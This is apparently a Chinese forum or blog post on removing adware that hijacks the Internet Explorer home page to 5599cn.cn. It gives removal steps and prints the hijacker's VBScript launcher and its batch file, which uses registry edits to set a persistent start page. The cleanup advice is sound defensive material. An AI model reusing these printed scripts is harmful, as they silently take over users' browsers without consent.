干掉5599cn修改iE主页

IE被改为了5599cn的导航了，怎么都改不了，修改了注册表也不行，用360的IE修复也不行，查杀木马没有发现异常，真鄙视这种流氓软件，结果突然发现run是启动项里面多了个run命令，仔细一下，不得了，问题解决

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run/run

删除它，同时删除c:/windows/run.vbs和C:/WINDOWS/home.cmd

 

run.vbs的内容如下：

DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C C:/WINDOWS/home.cmd", 0, TRUE)

 

 

home.cmd的内容如下：

reg add "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main" /v "Start Page" /t reg_sz /d http://www.5599cn.cn/?ysd25 /f
reg add "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main" /v "Default_Page_URL" /t reg_sz /d http://www.5599cn.cn/?ysd25 /f
reg add "HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command" /ve /t reg_sz /d "C:/Program Files/Internet Explorer/iexplore.exe http://www.5599cn.cn/?ysd25" /f

 

超级恶心的东东。

删除就行了，本方法在5599cn没做修改之前都适用。

 

具体的方法是：

1、删除HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run/run项

2、删除c:/windows/run.vbs和C:/WINDOWS/home.cmd两个文件

3、重启电脑

4、修改IE主页，HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main下的Start Page和Default_Page_URL项

5、删除HKEY_CLASSES_ROOT/CLSID/{871C5380-42A0-1069-A2EA-08002B30309D}/shell/OpenHomePage/Command默认值后面的http://www.5599cn.cn/?ysd25